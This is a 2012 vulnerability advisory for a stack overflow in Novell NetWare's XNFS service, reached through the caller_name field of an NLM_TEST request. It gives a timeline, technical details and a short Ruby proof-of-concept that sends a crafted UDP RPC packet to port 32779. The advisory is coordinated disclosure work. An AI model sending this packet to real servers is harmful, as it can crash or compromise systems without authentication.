Novell Netware – XNFS caller_name xdrDecodeString Remote Code Execution
##################################################################################### Application: Novell Netware XNFS caller_name xdrDecodeString Remote Code Execution Vulnerability Platforms: Novell Netware 6.5 SP8 Exploitation: Remote code execution CVE Number: Novell TID: 5117430 ZDI: ZDI-12-11 {PRL}: 2012-03 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Timeline 3) Technical details 4) PoC ##################################################################################### =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ##################################################################################### ============================ 2) Timeline ============================ 2011-05-05 - Vulnerability reported to vendor 2012-01-10 - Coordinated public release of advisory ##################################################################################### ============================ 3) Technical details ============================ This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware. Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which is used when handling NFS RPC requests. This process listens on UDP port 32779. When decoding the xdr encoded caller_name from an NLM_TEST procedure request the process uses the user supplied length as the bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the system. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/ruby require 'socket' xnfs_server = (ARGV[0]) target_port = (ARGV[1] || 32779) #RPC/Portmap packet beepbeep= "\x1c\xd1\xef\xab" + # XID "\x00\x00\x00\x00" + # Message Type: Call (0) "\x00\x00\x00\x02" + # RPC Version: 2 "\x00\x01\x86\xb5" + # Program: 100021 "\x00\x00\x00\x01" + # Program Version: 1 "\x00\x00\x00\x01" + # Procedure: TEST "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL "\x00\x00\x00\x02\x00\x00\x00\x02\x07\x40\x38\xb0\x41\x41\x41\x41" puts "[+]Sending UDP Packet...\n" puts "[+] beep beep\n" puts "[+]No, it's not the road runner\n" if (!(xnfs_server && target_port)) puts "Usage: PRL-2012-03.rb host port (default port: 32779)\n" exit else sock = UDPSocket.open sock.connect(xnfs_server, target_port.to_i) sock.send(beepbeep, 0) end |